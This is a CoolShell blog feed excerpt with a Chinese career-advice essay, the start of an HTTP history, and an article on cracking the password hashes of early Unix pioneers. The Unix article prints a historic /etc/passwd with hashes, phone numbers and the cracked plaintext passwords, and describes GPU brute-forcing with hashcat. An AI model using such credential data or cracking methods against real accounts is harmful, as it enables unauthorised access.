    2019年年初,我面试了一个很年轻的小伙子(93/94年出生),这个小伙子特别有灵性,也很聪明,计算机专业出身,也很喜欢技术,基础和学习能力也很好。在我这20年来认识的人中,如果他能呆在北京、上海、深圳这样的城市,我保证不出三年,他会成为他们同龄人中非常出色的技术人员,如果有个好的舞台有一个好的团队带他,他的未来会非常成功。然而,这个小伙子有两大喜好:1)只愿(或是说被迫)呆在一个毫无IT的环境的三/四线城市,2)对技术有非常大的偏好,只喜欢Go语言,非常不喜欢其它的语言,比如:Java(离开Java的世界,基本上离开了做架构的世界(相关解释见文末))。

    +

    他的这两个喜好,足以让一个未来会很优秀的人毁掉,因为,这个时代没有限制他,他的能力也没有限制他,但是他的意识完完全全地限制了他。

    +
      +
    • 他把自己最宝贵的青春放在了很烂的项目上,就算能用一些新的技术,他也只能算是自娱自乐,在实验室中玩玩具罢了。
    • +
    • 他把自己的技术栈封闭起来,而直接放弃了这个时代最具工业化的技术Java,对于一个好的程序员来说,同时掌握几门语言和技术完全是没什么问题,但是自己封闭了自己的视野。
    • +
    +

    实在是非常可惜,我本来是可以为他介绍到一些很不错的公司的,但是他这样的习性,等于自己把自己未来的门给关上了,虽然我跟他长谈过,但是我也没有办法叫醒不想醒的人……

    +
      +
    • 视野、环境和舞台,对一个人的限制是非常大的。井蛙不知道大海,被空间维度所限制;夏虫不知道冬天,是被时间维度所限制;圈养的动物没有斗志,是被自己意识所限制。
    • +
    • 偏见和不开放,对一个人的限制是真正有毁灭性的。主动让自己成为一个瞎子和聋子,主动把自己的能力阉割掉,这是一件令人痛心的事。想想大清的闭关锁国是如何让亚洲第一的北洋水师给毁掉的……
    • +
    +

    我还有个同学,他的技术并不差,就算呆在昆明这种很落后的地方,他也非常地好学,学习英文,学习各种新技术,对技术没有任何的偏好,喜欢C/C++/Java/Python/Shell,同样喜欢前端Javascript,对基础知识非常地踏实,他在技术上没有限制自己的潜力,有什么就学什么。后来,我带他玩Docker/Go/K8S……分布式架构,他也上手的很快……像他这样的人,技术能力完全没得说,比我还大一岁,44岁了,还是一样的天天追代码细节,看Youtube的各种大会,翻github里的各种issue和pull request……

    +

    我同学这人,拥有了成为一个技术牛人几乎所有的条件:基础知识过硬,细节扎得深,面很广,学习能力强,有英文能力,逻辑思维能力不错,非常的自律,执行力也很强,抓得住重点……然而,只有一个小问题,就是没有到大公司历练过,我三番五次叫他从昆明出来,但是最终他都呆在昆明这个城市没有出来,因为有所谓的家庭约束。然而,我身边还有好些人,把自己家从北京搬到上海,从上海搬到深圳,从厦门搬到深圳……这样的人大有人在……像他这样的能力,在哪个公司都会是主力和骨干,对于一个公司的主力和骨干来说,家庭上的这些问题都是小问题都是有很多解的……

    +

    另外,我这个同学还是一个比较悲观的人,任何事情都是先想到不好的事,他关注负面的东西会胜于正面的东西,而且他还有一定的社交恐惧,怕与人相处和交流,时间越长越害怕,甚至有时候直接跟我说,“我就是不想改变”这样的话……其实,我以前也是一个很害怕与人交流的人,面试的时候,我根本不敢正眼看面试官一眼,也不知道与人怎么交流。但是,我与他不一样,我努力克服,不断地面试,与人面对面的交流,到一线技术客服接用户的电话,在公司里做分享,慢慢地到外面分享……3-5年就完全克服掉了。

    +

    其实,很多事情,完全是有解的,也没有必要担心,自己的心理障碍也是可以克服的,重点就是自己愿不愿意,只要愿意完成了一半,接下来就是不断的摸爬滚打坚持了。

    +
      +
    • 不限制自己的人,会穷举各种方法来解决问题,限制自己的人,只会找各式各样的问题或借口。
    • +
    • 不限制自己的人,会努力改变自己的问题和缺陷,限制自己的人,会放任自己。
    • +
    +

    另外几个故事

    +

    我还有另外几个故事(活到四十多,能看到好多人十几年的发展过程,感觉有点上帝视角了)

    +

    我还有一个以前团队里的一个小伙,人是很聪明,但就完全就是野路子,他对技术没有什么偏好,一个PHP程序员,做那个Discuz!论坛,公司被并购了,转成Java,开始研究Java的各种细节,对技术从来没有什么偏见,有什么就玩什么,每做一个项目,就算是一样的他都要用新的技术做一遍,然后跟着我做云计算,我教他TCP,教他C/C++,后来一起玩Docker/Go,等等,反正是一点就通,他是我见过学习能力最强的人。但是,有一个事他一直与我的想法不一样,就是我希望他先把软件设计好,再写代码,他非常不能理解,他习惯于直接动手开干,然后有什么问题就整什么问题,我也很难教育他。

    +

    有一天,他电话面了一下Facebook,电话面了15分钟后对方就放弃了,他受到了严重的打击。然后,他就开始找菲利宾人练英文口语了,我也让他做算法题,然后,他才发现,一道连算法都不是的纯编程题都提交几次都过不了,等他做完了Leetcode最初的那151道题后,整个人都改变了,写代码前认认真真地在纸上把程序的状态,处理时序以及可能遇到的一些条件先罗列出来,然后,进行逻辑设计后,再写,从此,他就开启他更大的天地了。我后来把他推荐给了微软,先在中国的Bing,在中国升好2-3级,然后去了美国的Azure,现在听说他准备要跟 k8s 的 co-founder Brendan Burns 混了(虽然,他现在还在印度人手下,但是,我真的不知道他未来能玩多大,因为今年他才33岁,而且非常聪明)

    +

    他以前是把自己封闭起来的,我叫他出来,他也不出来,后来因为一些办公室政治的原因不得不来找我,于是我就带着他玩了两年,跟他讲了很多外面的世界是怎么玩的,他这个人也是一个相当不善于社交的人,但是心是开放的,愿意接受新的东西,虽然对技术也有一定偏见,比如不喜欢Windows,但是也不会不喜欢到完全封闭。后来我跟他说,微软的技术相当的强的,你看到的技术只是表面,深层次的东西都是相通的,直到他到了微软后发现各种牛逼的东西,对微软系统的技术的态度也有了改变,而且我让他跟我说很多微软那边的事,我发现,他对技术了解的维度已经是越来越高级的了……

    +

    还是我以前团队的一个小伙,他是一个前端,他说前端的东西没什么意思,想来找我做后端,我也一点点带他……后来,我说,你如果想要玩得好,你必需来北京,无论现在你觉得过得有多好,你都要放弃掉,然后,尽最大可能出去经历一下世界最顶尖的公司,我甚至跟他说,如果他女朋友不跟来的话,就先分开一段时间,先自己立业,他来北京的时候,他之前的同事都等着看他的笑话,我说,那些人连想都不敢想,不必管他们。于是,他去了Amazon,再过了一年去了西雅图,我跟他说,接下来就是去AWS,然后,如果有足够的野心,用自己的年轻这个资本去硅谷创业公司赌一把……未来他怎么样我不知道,但至少他没有限制自己,他的未来不会有封顶……

    +

    也是我的同学,我跟他在大学是上下铺,后来他去了人民大学读计算机博士,大学的时候做国产数据库kingbase,然后去了一家外企,天天被派到用户那边做数据分析,后来,他想回科研单位做国产数据库,我说,别啊,你的技术比我好太多,还有博士理论加持,你不去国外顶尖公司玩玩,你不知道自己有多强的,于是他跟公司申请去了国外做核心,后来因为Hadoop的原因,公司的产品最终成为了历史,于是我说,你来了美国么,你一定要去AWS,于是他就去了AWS的Aurora团队,成为了AWS明星级产品的中坚力量,天天在改MySQL的核心源码,干了两年,正在晋升 Principal Software Engineer ……

    +

    这里我到不是说出国有多牛,也许你只关注能挣多少钱,但是我想说,他们之所以能有这样的际遇,除了他们本来就有实力,还更因为他们从来不给自己设制什么限制,就是那种“艺多不压身”,有什么就学什么,有更高的就去向更高的迈进,其它的像家庭什么的问题其实都是会有解的,真的不必担心太多……

    +

     别限制了自己

    +

    上面的这些故事,也许你能看得懂,也许你看得不一定能懂,这里,让我来做个总结吧

    +
      +
    • 做有价值的事。这个世界对计算机人才的要求是供不应求的,所以,不要让自己为自己找各式各样的借口,让自己活在“玩玩具”、“搬砖”和“使蛮力加班”的境地。其实,我发现这世界上有能力的人并不少,但是有品味的人的确很少。所谓的有价值,就是,别人愿付高价的,高技术门槛的,有创造力的,有颠覆性的……
    • +
    • 扩大自己的眼界,开放自己的内心。人要变得开放,千万不要做一个狭隘的民族主义者,做一个开放的人,把目光放在全人类这个维度,不断地把自己融入到世界上,而不是把自己封闭起来,这里,你的英文语言能力对你能不能融入世界是起决定性的作用。开放自己的心态,正视自己的缺点,你才可能往前迈进。你的视野决定了你的知不知道要去哪,你的开放决定了你想不想去
    • +
    • 站在更高的维度。面的维度会超过点的维点,空间的维度会超过面的维度,在更高维度上思考和学习,你会获得更多。整天在焦虑那些低维度的事(比如自己的薪水、工作的地点、稳不稳定、有没有户口……),只会让你变得越来越平庸,只要你站在更高的维度(比如: 眼界有没有扩大、可能性是不是更多、竞争力是不是更强、能不能解决更大更难的问题、能创造多大的价值……),时间会让你明白那些低维度的东西全都不是事儿。技术学习上也一样,站在学习编程语法特性的维度和站在学习编程范式、设计模式的维度是两种完全不一样的学习方式。
    • +
    • 精于计算得失。很多人其实不是很懂计算。绝大多数人都是在算计自己会失去多少,而不会算会得到多少。而一般的人也总是在算短期内会失去什么,优秀则总是会算我投入后未来会有什么样的回报,前者在算计今天,目光短浅,而后者则是舍在今天,得在明天,计算的是未来。精于计算得失的,就懂得什么是投资,不懂的只会投机。对于赚钱,你可以投机,但是对于自己最好还是投资。
    • +
    • 勇于跳出传统的束缚。有时候,跳出传统并不是一件很容易的事,因为大多数人都会对未知有恐惧的心理。比如:我看到很多人才都被大公司垄断了,其实,有能力的人都不需要加入大公司,有能力的人是少数,这些少数的人应该是所有的公司share着用的,这样一来,对于所有的人都是利益最大化的。这样的事现在也有,比如:律师、设计师……。但是,绝大多数有能力的技术人员是不敢走出这步。我在2015年到2016年实践过一年半,有过这些实践,做“鸡”的比“二奶”好多了,收入也好很多很多(不好意思开车了)……
    • +
    +

    庄子说过几句话——

    +
    +

    井蛙不可以语于海者,拘于虚也;//空间局限

    +

    夏虫不可以语于冰者,笃于时也;//时间局限

    +

    曲士不可以语于道者,束于教也。//认识局限

    +
    +

    别自己墙了自己,人最可悲的就是自己限制自己,想都不敢想,共勉!

    +

    ————————————————————

    +

    注:这篇文章就是要劝大家更为开放,让自己有更多的可能性,能到更高的层次,做更有价值的事,成为更强更好的人……当然,如果你觉得你只想做一个平凡人,也和本文并不冲突……另外你也不要觉得这篇文章是让你要成为一个精英,但你一定要去摸高……这篇文章是告诉你一种面对人生的思考方式,在这种思考方式下,你会有更多的可能性,更大的场景……而不是直接把自己归到“平常人”,把自己“墙”了!

    +

    注:我以为用Java适合做架构这事应该是常识了,但是评论中有很多人非常反对这个事。那我解释一下吧:首先,小型的项目用什么语言都行,爱用什么用什么。但是,真正的企业级架构就不一样了,其中并不仅仅只是RESTful API或RPC,还有各种配套设施和控制系统,比如:应用网关,服务发现、配置中心、健康检查、服务监控、服务治理(熔断、限流、幂等、重试、隔离、事务补偿)、Tracing监控、SOA/ESB、CQRS、EDA……这些东西在非Java的技术栈体系内,很难看到全貌,Java强大的生态环境,就是让你把注意力放到更高层次的架构和业务上来的。(千万不要觉得,整几个服务RPC一下,加个缓存,加个队列,就能叫架构,那只是系统集成罢了)

    +

    (全文完)

    +

    +

    +

    +

    +

    +

    +

    +

    +

    +

    +

    +

    +


    关注CoolShell微信公众账号和微信小程序

    +
    +

    (转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

    +
    +
    ——=== 访问 酷壳404页面 寻找遗失儿童。 ===——
    + + +]]>
    + + https://coolshell.cn/articles/20276.html/feed + 228 + + +
    + + Unix 50 年:Ken Thompson 的密码 + https://coolshell.cn/articles/19996.html + https://coolshell.cn/articles/19996.html#comments + + + Sun, 03 Nov 2019 14:12:54 +0000 + + + + + + + + + https://coolshell.cn/?p=19996 + + Read More Read More

    ]]>
    + 50年前,除了Apollo上天之外,还有一个大事的发生,就是Unix操作系统的诞生,若干年前我写过《Unix的传奇,上篇下篇》,Unix是我入行前十年伴我成长的操作系统,虽然现在Linux早已接过了Unix的时代交接棒,但是,Unix文化对我个人的技术观影响是非常大的(注:《Unix编程艺术》是一本对影响我很深的书),而对于 Ken Thompson 和 Dennis Ritchie 这两位 Unix 的缔造者,也是计算机圈中的神一般的人物。今天,Dennis已经去逝,Ken在Google里跟 Rob Pike和 Robert Griesemer 这两位大神在开发Go语言。

    +

    P.S. 今年,我一直想写篇Unix 50周年纪念的文章,但一直无从下手,因为不想写过大的命题,如果能写个轶事最好不过。正好过完国庆节,技术圈里有个“热搜”——Ken Thompson的密码。但一直没有时间,所以拖到今天才写下来。

    +

    正文开始,2014年,有个叫Leah Neukirchen的程序员(blog)在 BSD 3 的源代码中的 /etc/passwd 看到了早年Unix黑客们的被 hash了的密码,该文件如下所示:

    +

    +
    root:OVCPatZ8RFmFY:0:10:Ernie Co-vax,4156427925:/:
    +daemon:*:1:1:The devil himself:/:
    +bill:.2xvLVqGHJm8M:8:10:& Joy,4156424948:/usr/bill:/bin/csh
    +ozalp:m5syt3.lB5LAE:40:10:& Babaoglu,4156423806:/usr/ozalp:/bin/csh
    +sklower:8PYh/dUBQT9Ss:2:10:Keith &,4156424972:/usr/staff/sklower:/bin/csh
    +kridle:4BkcEieEtjWXI:3:10:Bob &,4156426744:/usr/staff/kridle:/bin/csh
    +kurt:olqH1vDqH38aw:4:10:& Shoens,4156420572:/usr/staff/kurt:/bin/csh
    +schmidt:FH83PFo4z55cU:7:10:Eric &,4156424951:/usr/staff/schmidt:/bin/csh
    +hpk:9ycwM8mmmcp4Q:9:10:Howard Katseff,2019495337:/usr/staff/hpk:/bin/csh
    +tbl:cBWEbG59spEmM:10:10:Tom London,2019492006:/usr/staff/tbl:
    +jfr:X.ZNnZrciWauE:11:10:John Reiser:/usr/staff/jfr:
    +mark:Pb1AmSpsVPG0Y:12:10:& Horton,4156428311:/usr/staff/mark:/bin/csh
    +dmr:gfVwhuAMF0Trw:42:10:Dennis Ritchie:/usr/staff/dmr:
    +ken:ZghOT0eRm4U9s:52:10:& Thompson:/usr/staff/ken:
    +sif:IIVxQSvq1V9R2:53:10:Stuart Feldman:/usr/staff/sif:
    +scj:IL2bmGECQJgbk:60:10:Steve Johnson:/usr/staff/scj:
    +pjw:N33.MCNcTh5Qw:61:10:Peter J. Weinberger,2015827214:/usr/staff/pjw:/bin/csh
    +bwk:ymVglQZjbWYDE:62:10:Brian W. Kernighan,2015826021:/usr/staff/bwk:
    +uucp:P0CHBwE/mB51k:66:10:UNIX-to-UNIX Copy:/usr/spool/uucp:/usr/lib/uucp/uucico
    +srb:c8UdIntIZCUIA:68:10:Steve Bourne,2015825829:/usr/staff/srb:
    +finger::199:199:The & Program:/usr/ucb:/usr/ucb/finger
    +who::199:199:The & Program:/usr/ucb:/bin/who
    +w::199:199:The & Program:/usr/ucb:/usr/ucb/w
    +mckusick:AAZk9Aj5/Ue0E:201:10:Kirk &,4156424948:/usr/staff/mckusick:/bin/csh
    +peter:Nc3IkFJyW2u7E:202:10:& Kessler,4156424948:/usr/staff/peter:/bin/csh
    +henry:lj1vXnxTAPnDc:203:10:Robert &,4156424948:/usr/staff/henry:/bin/csh
    +jkf:9ULn5cWTc0b9E:209:10:John Foderaro,4156424972:/usr/staff/jkf:/bin/csh
    +fateman:E9i8fWghn1p/I:300:10:Richard &,4156421879:/usr/staff/fateman:/bin/csh
    +fabry:d9B17PTU2RTlM:305:10:Bob &,4156422714:/usr/staff/fabry:/bin/csh
    +network:9EZLtSYjeEABE:501:50:*:/usr/net/network:/usr/net/network/nsh
    +tty::504:50::/:/bin/tty我
    +

    (注,以前Unix是一个服务器,所有人都用一个终端到服务器上进行操作,于是,这个服务上的 /etc/passwd 下保存着所有的人的登录密码,能让所有的人都能读到,为了不让别人猜到,这个文件中的密码保存(第二列)被做过哈希处理)

    +

    这位程序员一看,这些个用户不就是Dennis Ritchie, Ken Thompson, Brian W. Kernighan, Steve Bourne, Bill Joy 这些神人的密码吗?!于是,他想看看这些人用什么样的密码。考虑到当时的加密算法用的是基于DES的 crypt(3) 算法(这个算法今天还在用,像Perl/PHP/Python/Ruby都提供crypt() 函数),而且当时的密码最长只支持8个长度,所以,感觉还是很容易暴力破解的。

    +

    一般来说,暴力破解的这种hash密码的工具主要是用hashcatjohn ,很快,Leah 破解了大多数人的密码,因为大多数都使用的是比较弱的密码,比如: Brian W. Kernighanbwk)使用了 /.,/., 这样的密码,而 Dennis Ritchiedmr)则使用了 dmac 这样的密码。然后,在破解到 Ken Thompson的密码时,搞不定了,花了好几天穷举完了所有的小写字母+数字都没有找到。

    +

    因为这个crypt的算法也是Ken Thompson 和 Robert Morris 写的,他们在40年前就发现,原来的hash算法太快了,这样很容易被暴力穷举,于是在第七版的Unix(1979年发布),他们把算法改成DES的算法,就是要让这个算法变慢。详细地说,用户密码被截断为八个字符,每个字符仅被压缩为7位。这形成56位DES密钥。然后,该密钥用于加密全零位块,然后再次使用相同的密钥对密文进行加密,依此类推,总共进行了25次DES加密。感觉跟区块链的“挖矿”有点像。在最早的Unix计算机上,这个算法需要花了整整一秒钟的时间来计算密码哈希

    +

    这几十年来,计算机的计算速度根据摩尔定律至少double了20次,所以,DES算法已经很容被攻击了,然而,对于Ken Thompson的密码,在2014年还是很不容易被破解的,因为,如果要加上所有的大小写字符数字和其它特殊字符,那么,在2014年,就算用最快的GPU来穷举所有的8位长度的密码,也需要花上至少2年以上的时间

    +

    在2019年10月份,在 The Unix Heritage Society 这个社区中,这个事又被人问起来,说以前有个人破解这些密码,不知道有没有全破解出来了?于是Leah看到了,就回应说,那个人是我,但是还是没干出来……于是好些人进来留言。

    +

    5天后,2019年10月08日,一个来自澳大利亚的程序员Nigel Williams说,Ken的密码我破解出来了,哈希串ZghOT0eRm4U9s 明文是 p/q2-q4!(果然是有数字有特殊字符),小伙说,我在 AMD Radeon Vega 64 的 GPU上运行了 hashcat 这个命令,干了我 4天多,每秒钟的“配速”是930MH/s (每秒钟9亿3千万次hash运算)。然后,Ken Thompson 也留言到 “恭喜” ,这样,Ken 的密码在40年后被破解了……

    +

    马上,就有人问到,这个密码是不是国际象棋的走棋?嗯,很像中国象棋中的“车五进一”,“马三退一”,这个密码中的 p 代表 pawn 小兵,从 q2 的位置走到 q4,这个看来是国际象棋中的开局进兵——用来做登录密码,非常合适。而且,Ken Thompson 在 Unix中写下的一个国际象棋的程序 Belle,在1978年首次参加计算机协会的北美计算机国际象棋锦标赛时,它获得了第一个冠军头衔,其搜索深度为八层。之后又赢得了四次冠军。1983年,它也成为第一台获得国际象棋“大师”称号的计算机。所以,Ken用这个做密码相当make sense!

    +

    Ken在贝尔实验室调程序(图片来源:IEEE SPECTRUM

    +

    当然,还有一个人的密码是所有人里最难破解的,这个人就是Bill Joy,他最初作为加州大学伯克利分校的研究生,在校期间着手改进Unix 内核,并管理BSD发行版。他最著名的贡献是ex和vi编辑器以及C shell。在Sun公司成立6个月后,他正式成为公司的联合创始人,他在Sun公司的推动了NFS,SPARC处理器,以及Java语言。他还是一个风险投资人员。

    +

    在Ken的密被破解后两周(2019年10月19日),有人号称已经破解了Bill的密码,他在邮件组中这样写到

    +

    一开始,我使用了大小写字符和数字,8位长度来破解所有的组合,花了我6天的时间,失败了。然后,我开始尝试只用小写字母和控制字符,结果在40分钟内就破解了。但是因为Bill现健在,所以,只要bill同意他才公布这个密码。

    +

    在密码里存控制字符?这脑洞,Ctrl+C么?破解者还说,他在一个有三个结点的DELL 的HPC集群上完成这个工作,每个结点包括两个 Tesla V100 nVidia GPU 的显卡,一共30720个CUDA核…… 关于这个显卡多少钱,你可以上网搜吧…… 相当于一块劳力士吧……(我估计这组机器平时是用来挖矿的……[狗头])

    +

    好了,我们来看一下这个 /etc/passwd 中的这些人的密码是什么样的,但最主要的是向这些为人类做过巨大贡献的程序员科学家们致敬

    +
      +
    • Ken Thompson
      +除了是Unix、B语言和Go语言作者之外,他还贡献过正则表达式,QED/ed编辑器,UTF-8编码定义,以及计算机国际象棋Belle……

      + + + + + + + + + + + + + +
      登录名哈希串密码
      kenZghOT0eRm4U9sp/q2-q4!
      +
    • +
    • Dennis Ritchie
      +Unix和C语言之父,与Ken于1983年获图灵奖,1990年美国国家海明奖章,于2011年去世。

      + + + + + + + + + + + + + +
      登录名哈希串密码
      dmrgfVwhuAMF0Trwdmac
      +
    • +
    • Brian W. Kernighan
      +AWK的作者,是AWK中的“K”,也是与Dennis写的K&C的C语言编程书中的“K”,他还编写了很多Unix的其它程序,如:ditroff,而且,设计了著名的启发式算法

      + + + + + + + + + + + + + +
      登录名哈希串密码
      bwkymVglQZjbWYDE/.,/.,
      +
    • +
    • Stephen R. Bourne
      +Bourne shell(sh)的作者,Unix Shell作者,同时也是Unix调试器的作者。

      + + + + + + + + + + + + + +
      登录名哈希串密码
      srbc8UdIntIZCUIAbourne
      +
    • +
    • Eric Schmidt
      +你可能知道他是Google的CEO,苹果的董事,但是你可能不知道,他当年是是贝尔实施室的实习生,他对Unix的词法分析器 Lex 进行为了完全的重写。他的密码是中的wendy应该是他的妻子。

      + + + + + + + + + + + + + +
      登录名哈希串密码
      schmidtFH83PFo4z55cUwendy!!!
      +
    • +
    • Stuart Feldman
      +他除了是Unix系统小组的成员,他还是第一个Fortran 77 编译器的作者,也是 make 的作者。他还是楼上Shmidt慈善基金会的科学负责人,在Google/IBM Research任过职,也担任过ACM的主席。

      + + + + + + + + + + + + + +
      登录名哈希串密码
      sifIIVxQSvq1V9R2axolotl
      +
    • +
    • Mark Horton
      +Unix贡献者,包括vi和curses,后来变性为女性,新的名字叫Mary Ann Horton。原来的照片在Unix Guru Universe

      + + + + + + + + + + + + + +
      登录名哈希串密码
      markPb1AmSpsVPG0Yuio
      +
    • +
    • Kirk McKusick
      +BSD贡献者,主要负责文件系统UFS以及fsck命令,同时也是gprof的贡献者,公开的同性恋者。

      + + + + + + + + + + + + + +
      登录名哈希串密码
      mckusickAAZk9Aj5/Ue0Efoobar
      +
    • +
    • Richard Fateman
      +他在伯克利的VAX UNIX系统的开发工作中发挥了重要作用,以及开发了 Franz Lisp

      + + + + + + + + + + + + + +
      登录名哈希串密码
      fatemanE9i8fWghn1p/Iapr1744
      +
    • +
    • Peter Kessler
      +这位老兄能在网上查到的资料基本没有,可以查到他是 gprof 的贡献者,以及有名字的gprof的一篇论文

      + + + + + + + + + + + + + +
      登录名哈希串密码
      peterNc3IkFJyW2u7E...hello
      +
    • +
    • Kurt Shoens
      +BSD电子邮件开发者。Unix早期版本中使用 uuxsendmail 来进行远程消息传递,1978年,Kurt为Unix编写了一个邮件用户代理 Berkeley Mail。相关的历史可以参看这篇文章

      + + + + + + + + + + + + + +
      登录名哈希串密码
      kurtolqH1vDqH38awsacristy
      +
    • +
    • John Foderaro
      +他为Berkeley的Lisp语言编写原始的编译器,Lisp语言是一种类似于数据代数的语言,在计算机历史上有和C语言一样的作用。后来他成立了Franz公司,主要开发和部署图形搜索解决方案。

      + + + + + + + + + + + + + +
      登录名哈希串密码
      jkf9ULn5cWTc0b9Esherril.
      +
    • +
    • Peter J. Weinberger
      +他就是AWK中的那个“W”,同时也是Fortan编译器f77的贡献者,后来是Renaissance Technologies (一家对冲基金)的CTO,现在在Google工作,

      + + + + + + + + + + + + + +
      登录名哈希串密码
      pjwN33.MCNcTh5Qwuucpuucp
      +
    • +
    • John Reiser
      +他主要工作是将Unix和C移植到了DEC VAX上,这个机器在学术界相当流行(陈皓注:我在1994年上大学的时候,就是在这个机器上学习的C语言)。这扩大了Unix和C的影响力。

      + + + + + + + + + + + + + +
      登录名哈希串密码
      jfrX.ZNnZrciWauE5%ghj
      +
    • +
    • Steve Johnson
      +曾在贝尔实验室和AT&T工作近20年。他以Yacc,Lint,spell和Portable C编译器而闻名。后来他去了硅谷,加入了一些创业公司,主要从事编译器的工作,以及2D和3D图形,大规模并行系统和嵌入式系统的开发工作。现在他在Wave Computing从事机器学习的工作。

      + + + + + + + + + + + + + +
      登录名哈希串密码
      scjIL2bmGECQJgbkpdq;dq
      +
    • +
    • Bob Kridle
      +这位老兄的资料在没有太多,只能在 Berkeley Unix 20 年 上看到他跟Ken Thompson混过一段时间。

      + + + + + + + + + + + + + +
      登录名哈希串密码
      kridle4BkcEieEtjWXIjilland1
      +
    • +
    • Keith Sklower
      +BSD 的一个程序员。从他的主页上可以看到他目前在Berkeley大学,信息分析师,主要研究一些网络通信相关的技术。

      + + + + + + + + + + + + + +
      登录名哈希串密码
      sklower8PYh/dUBQT9Sstheik!!!
      +
    • +
    • Robert Henry
      +网上的资料不多,只在Life with Unix这本电子书中查到,他写了 error

      + + + + + + + + + + + + + +
      登录名哈希串密码
      henrylj1vXnxTAPnDcsn74193n
      +
    • +
    • Howard Katseff
      +网上的资料不多,只在Life with Unix这本电子书中查到,他写了 sdblast

      + + + + + + + + + + + + + +
      登录名哈希串密码
      hpk9ycwM8mmmcp4Qgraduat;
      +
    • +
    • Özalp Babaoğlu
      +土耳其计算机科学家,1981年在Berkeley担任 BSD Unix的首席设计师,曾经与Sun的创造人Bill Joy在BSD上实现了虚拟内存。

      + + + + + + + + + + + + + +
      登录名哈希串密码
      ozalpm5syt3.lB5LAE12ucdort
      +
    • +
    • Bob Fabry
      +他主要推动美国国防部高级研究计划局DARPA采用了Unix系统

      + + + + + + + + + + + + + +
      登录名哈希串密码
      fabryd9B17PTU2RTlM561cml..
      +
    • +
    • Tom London
      +他和John Reiser在把Unix移植到了VAX-11机上。

      + + + + + + + + + + + + + +
      登录名哈希串密码
      tblcBWEbG59spEmM..pnn521
      +
    • +
    +

    最后,再首尾呼应一下,在我的技术生涯中,Unix文化对我个人的技术观影响是非常大的,我个人认为 Unix 就像摇滚乐一样,上世纪60年代-80年代,是整个人类最经典最光亮的时代,值得我们每个人向那个时代的人和事致敬!

    +

    ————————————————————————

    +

    P.S.

    +

    你可以浏览 Github 的 unix-history-repo 目录(注:本文给的这个链接不在master分支上),这个repo是40年前的代码,涵盖了从1970年创建时的2.5万行内核和26条命令到2017年为止广泛使用的2700万行系统。1.1GB的存储库包含大约一百万次提交和两千多次合并。通过这个链接你可以了解一下这个代码的历史!

    +

    下载这些代码需要你的1.5GB的硬盘空间,你可以查看各个大神写的代码,包括 Ken Thompson 和 Dennis的,以及相关的注释。

    +

    根据这些,你还可以找到 Ken Thompson的 Github账号 https://github.com/ken 以及别人为dmr建的github帐号 https://github.com/dmr-1941-2011

    +

    P.S.S

    +

    下面是一些和Unix相关的维基百科资料

    + +

    还有Unix的社区:TUHS: The Unix Heritage Society – The Unix Tree

    +

    (全文完)

    +


    关注CoolShell微信公众账号和微信小程序

    +
    +

    (转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

    +
    +
    ——=== 访问 酷壳404页面 寻找遗失儿童。 ===——
    + + +]]>
    + + https://coolshell.cn/articles/19996.html/feed + 22 + + +
    + + HTTP的前世今生 + https://coolshell.cn/articles/19840.html + https://coolshell.cn/articles/19840.html#comments + + + Tue, 01 Oct 2019 19:21:10 +0000 + + + + + + + + + + https://coolshell.cn/?p=19840 + + Read More Read More

    ]]>
    + HTTP (Hypertext transfer protocol) 翻译成中文是超文本传输协议,是互联网上重要的一个协议,由欧洲核子研究委员会CERN的英国工程师 Tim Berners-Lee v发明的,同时,他也是WWW的发明人,最初的主要是用于传递通过HTML封装过的数据。在1991年发布了HTTP 0.9版,在1996年发布1.0版,1997年是1.1版,1.1版也是到今天为止传输最广泛的版本(初始RFC 2068 在1997年发布, 然后在1999年被 RFC 2616 取代,再在2014年被 RFC 7230 /7231/7232/7233/7234/7235取代),2015年发布了2.0版,其极大的优化了HTTP/1.1的性能和安全性,而2018年发布的3.0版,继续优化HTTP/2,激进地使用UDP取代TCP协议,目前,HTTP/3 在2019年9月26日 被 Chrome,Firefox,和Cloudflare支持,所以我想写下这篇文章,简单地说一下HTTP的前世今生,让大家学到一些知识,并希望可以在推动一下HTTP标准协议的发展。

    +

    HTTP 0.9 / 1.0

    +

    0.9和1.0这两个版本,就是最传统的 request – response的模式了,HTTP 0.9版本的协议简单到极点,请求时,不支持请求头,只支持 GET 方法,没了。HTTP 1.0 扩展了0.9版,其中主要增加了几个变化:

    +

    +
      +
    • 在请求中加入了HTTP版本号,如:GET /coolshell/index.html HTTP/1.0
    • +
    • HTTP 开始有 header了,不管是request还是response 都有header了。
    • +
    • 增加了HTTP Status Code 标识相关的状态码。
    • +
    • 还有 Content-Type 可以传输其它的文件了。
    • +
    +

    我们可以看到,HTTP 1.0 开始让这个协议变得很文明了,一种工程文明。因为:

    +
      +
    • 一个协议有没有版本管理,是一个工程化的象征。
    • +
    • header是协议可以说是把元数据和业务数据解耦,也可以说是控制逻辑和业务逻辑的分离。
    • +
    • Status Code 的出现可以让请求双方以及第三方的监控或管理程序有了统一的认识。最关键是还是控制错误和业务错误的分离。
    • +
    +

    (注:国内很多公司HTTP无论对错只返回200,这种把HTTP Status Code 全部抹掉完全是一种工程界的倒退)

    +

    但是,HTTP1.0性能上有一个很大的问题,那就是每请求一个资源都要新建一个TCP链接,而且是串行请求,所以,就算网络变快了,打开网页的速度也还是很慢。所以,HTTP 1.0 应该是一个必需要淘汰的协议了。

    +

     HTTP/1.1

    +

    HTTP/1.1 主要解决了HTTP 1.0的网络性能的问题,以及增加了一些新的东西:

    +
      +
    • 可以设置 keepalive 来让HTTP重用TCP链接,重用TCP链接可以省了每次请求都要在广域网上进行的TCP的三次握手的巨大开销。这是所谓的“HTTP 长链接” 或是 “请求响应式的HTTP 持久链接”。英文叫 HTTP Persistent connection.
    • +
    • 然后支持pipeline网络传输,只要第一个请求发出去了,不必等其回来,就可以发第二个请求出去,可以减少整体的响应时间。(注:非幂等的POST 方法或是有依赖的请求是不能被pipeline化的)
    • +
    • 支持 Chunked Responses ,也就是说,在Response的时候,不必说明 Content-Length 这样,客户端就不能断连接,直到收到服务端的EOF标识。这种技术又叫 “服务端Push模型”,或是 “服务端Push式的HTTP 持久链接
    • +
    • 还增加了 cache control 机制。
    • +
    • 协议头注增加了 Language, Encoding, Type 等等头,让客户端可以跟服务器端进行更多的协商。
    • +
    • 还正式加入了一个很重要的头—— HOST这样的话,服务器就知道你要请求哪个网站了。因为可以有多个域名解析到同一个IP上,要区分用户是请求的哪个域名,就需要在HTTP的协议中加入域名的信息,而不是被DNS转换过的IP信息。
    • +
